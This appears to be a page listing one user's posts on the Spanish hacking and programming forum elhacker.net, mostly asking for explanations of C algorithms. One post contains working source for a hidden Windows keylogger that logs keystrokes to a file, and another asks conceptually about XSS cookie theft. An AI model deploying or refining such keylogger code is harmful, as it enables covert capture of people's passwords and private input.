elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: [1] 2
1  Programación / Programación C/C++ / Algoritmo para resolver sudoku incomprensible en: 4 Noviembre 2014, 18:48 pm
Buenas me he topado con un código un poco complicado de seguir, la cuestión es que se me hace difícil entender como logra aislar el número exacto en la posición requerida sin la necesidad (según veo) de una búsqueda exhaustiva como es común en este tipo de algoritmos, aquí el código :

Código
  1. int trycell(int *x, int pos)
  2. {
  3.    int row = pos / 9;
  4.    int col = pos % 9;
  5.    int i, j, used = 0;
  6.  
  7.    if (pos == 81)
  8.        return 1;
  9.    if (x[pos])
  10.        return trycell(x, pos + 1);
  11.  
  12.    for (i = 0; i < 9; i++)
  13.        used |= 1 << (x[i * 9 + col] - 1);
  14.  
  15.    for (j = 0; j < 9; j++)
  16.        used |= 1 << (x[row * 9 + j] - 1);
  17.  
  18.    row = row / 3 * 3;
  19.    col = col / 3 * 3;
  20.  
  21.    for (i = row; i < row + 3; i++)
  22.        for (j = col; j < col + 3; j++)
  23.            used |= 1 << (x[i * 9 + j] - 1);
  24.  
  25.    for (x[pos] = 1; x[pos] <= 9; x[pos]++, used >>= 1)
  26.        if (!(used & 1) && trycell(x, pos + 1))
  27.            return 1;
  28.    x[pos] = 0;
  29.    return 0;
  30. }

Si pudieran aclararme como funciona mas o menos este código

Saludos kutcher
2  Programación / Programación C/C++ / Método de multiplicación que desconozco en: 15 Octubre 2014, 01:41 am
Buenas noches, estoy estudiando un algoritmo que realiza una multiplicación de dos enteros almacenados en respectivos arrays, el problema es que no consigo entender el método utilizado en tal caso, ya que existen varios :

Código
  1. void longmulti(const char *a, const char *b, char *c)
  2. {
  3.    int i = 0, j = 0, k = 0, n, carry;
  4.    int la, lb;
  5.  
  6.    la = strlen(a);
  7.    lb = strlen(b);
  8.  
  9.    memset(c, '0', la + lb);
  10.    c[la + lb] = '\0';
  11.  
  12.    for (i = la - 1; i >= 0; i--)
  13.    {
  14.        for (j = lb - 1, k = i + j + 1, carry = 0; j >= 0; j--, k--)
  15.        {
  16.            n = T(a[i]) * T(b[j]) + T(c[k]) + carry;
  17.            carry = n / 10;
  18.            c[k] = (n % 10) + '0';
  19.        }
  20.        c[k] += carry;
  21.    }
  22.    if (c[0] == '0')
  23.       memmove(c, c + 1, la + lb);
  24.  
  25.    return;
  26. }

Saludos
3  Programación / Programación C/C++ / Keylogger queda ejecutándose en un while infinito en: 13 Septiembre 2014, 02:44 am
Buenas, tengo el siguiente programa :

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. int main(void)
  6. {
  7.    FILE *f;
  8.    int i, n = 0;
  9.    int line[256];
  10.  
  11.    FreeConsole();
  12.  
  13.    if(! (f = fopen("log.txt", "ab+")))
  14.        return EXIT_FAILURE;
  15.  
  16.    while(1)
  17.    {
  18.        for(i = 0; i < 255; i++)
  19.        {
  20.            if(GetAsyncKeyState(i) == -32767)
  21.            {
  22.                if( n < 255)
  23.                    line[n++] = i;
  24.                else
  25.                {
  26.                    line[n] = '\0';
  27.                    fprintf(f, "%s\n", line);
  28.                    n = 0;
  29.                }
  30.            }
  31.        }
  32.        Sleep(2);
  33.    }
  34.    fclose(f);
  35.  
  36.    return EXIT_SUCCESS;
  37. }
  38.  

Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher
4  Programación / Programación C/C++ / Sentencia switch vs tablas de búsqueda en: 4 Septiembre 2014, 17:45 pm
Buenas, tengo las siguientes funciones:

Código
  1. char * func1(int condicion)
  2. {
  3.      switch(condicion)
  4.     {
  5.         case 0: return "EQ";
  6.         case 1: return "NE";
  7.         case 2: return "CS";
  8.         case 3: return "CC";
  9.         case 4: return "MI";
  10.         case 5: return "PL";
  11.         case 6: return "VS";
  12.         case 7: return "VC";
  13.         case 8: return "HI";
  14.         case 9: return "LS";
  15.         case 10: return "GE";
  16.         case 11: return "LT";
  17.         case 12: return "GT";
  18.         case 13: return "LE";
  19.         case 14: return "";
  20.         default: return 0;
  21.      }
  22. }
  23.  

Y

Código
  1. char * func2(int condicion)
  2. {
  3.    if ((unsigned) condicion >= 15)
  4. return 0;
  5.    return "EQ\0NE\0CS\0CC\0MI\0PL\0VS\0VC\0HI\0LS\0GE\0LT\0GT\0LE\0\0" +
  6.               3 * condicion;
  7. }
  8.  

Se que ambas son equivalentes pero lo que me cuesta entender es como la función     con tabla de búsqueda logra aislar la cadena requerida según la condición especificada, si alguien podría explicarme como sucede esto...

Saludos kutcher 
5  Programación / Programación C/C++ / Optimización de algoritmo de fuerza bruta en: 2 Septiembre 2014, 22:30 pm
Buenas, tengo el siguiente algoritmo:

Código
  1. void bruteforce(int inc, int fin, char *rotation)
  2. {
  3.    int i = 0, j, len = strlen(rotation);
  4.    long int r = 0, end, c;
  5.    char test[200];
  6.    for(j = inc; j < fin+1; j++)
  7.    {
  8.        r = 0;
  9.        end = (long int)pow(len, j);
  10.        while(r != end)
  11.        {
  12.            c = r;
  13.            while(i < j)
  14.            {
  15.                test[i] = rotation[c % len];
  16.                c = (long int)c / len;
  17.                i++;
  18.            }
  19.            test[i] = '\0';
  20.            puts(test);
  21.            i = 0;
  22.            r++;
  23.        }
  24.    }
  25. }

Mi intención es evitar el uso de pow porque esta consume demasiado recursos, lo que busco es la forma de representarlo con solo operaciones aritméticas .... alguna idea

Saludos kutcher   
6  Programación / Programación C/C++ / Como detectar un desbordamiento de enteros en: 23 Agosto 2014, 02:53 am
Buenas, quisiera saber algún método para detectar un posible desbordamiento de enteros al realizar una multiplicación de dos variables de tipo unsigned para asi almacenar con seguridad el resultado en otra, le estuve dando vueltas al asunto pero no encuentro como hacerlo

Saludos kutcher 
7  Programación / Programación C/C++ / Retos de programación C/C++ en: 16 Agosto 2014, 02:23 am
Buenas, abro este post para ir publicando una serie de retos a medida que vayan resolviendo los mismo, con el objetivo estimular a la comunidad a participar mediante la resolución de problemas que competen al mundo de la programación que tanto nos apasiona

RETO #1:

Los primeros dos números consecutivos para tener dos factores primos distintos son:

Código
  1. 14 = 2 x 7
  2. 15 = 3 x 5

Los primeros tres números consecutivos para tener tres factores primos distintos son:

Código
  1. 644 = 2² x 7 x 23
  2. 645 = 3 x 5 x 43
  3. 646 = 2 x 17 x 19.

Encuentra los primeros cuatro números enteros consecutivos para tener cuatro factores primos distintos. ¿Cuál es el primero de estos números?

Espero su participación
8  Seguridad Informática / Hacking / Robo de cookies con ataque XSS en: 30 Julio 2014, 15:20 pm
Buenas. tengo una duda respecto a este tipo de ataques suponiendo que un atacante logre ejecutar algún tipo de script con el objetivo de robarme los cookies si en el caso de lograr esto el atacante podría iniciar sesión automáticamente en mis cuentas como facebook, gmail etc... ¿ Como es posible esto?

Si yo deshabilitara estas opciones en mi navegador podría evitar esto:

*Habilitar la función Autocompletar para rellenar formularios web con un solo clic
*Preguntar si quiero guardar las contraseñas que he introducido en la Web

Saludos
9  Programación / Programación C/C++ / Extraña asignación en un array con -1 en: 28 Julio 2014, 05:14 am
 Buenas, estoy tratando de implementar mi propia función strtok y buscando por la
red he encontrado un método bastante curioso el cual utiliza el numero negativo
-1 como indice en un array de caracteres para asignarle el carácter nulo

 En consecuencia extrañamente obtienes el primer token en el puntero llamado
token, cosa que no entiendo como sucede aquí el código:

Código
  1. char *mystrtok(char *s, const char *delim)
  2. {
  3.    int c, sc = *delim;
  4.    char *token = s;
  5.  
  6.    do{
  7.        c = *s++;
  8.        if (c == sc)
  9.        {
  10.            s[-1] = '\0';
  11.            return (token);
  12.        }
  13.    }while (*s);
  14.  
  15.    return NULL;
  16. }

Es la versión corta la modifique un poquito para exponer la parte que no entiendo
10  Programación / Programación C/C++ / Como calcular cuantos dígitos tiene un entero en: 24 Julio 2014, 22:02 pm
Buenas, estoy codificando un programa y me urge saber cuantos dígitos tiene un
número que es de tipo int por ejem:

15742 = 5 dígitos
1234 = 4 dígitos
13 = 2 dígitos

He probado con sizeof pero no funciona ¿Alguien tiene alguna idea de como hacer esto?
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines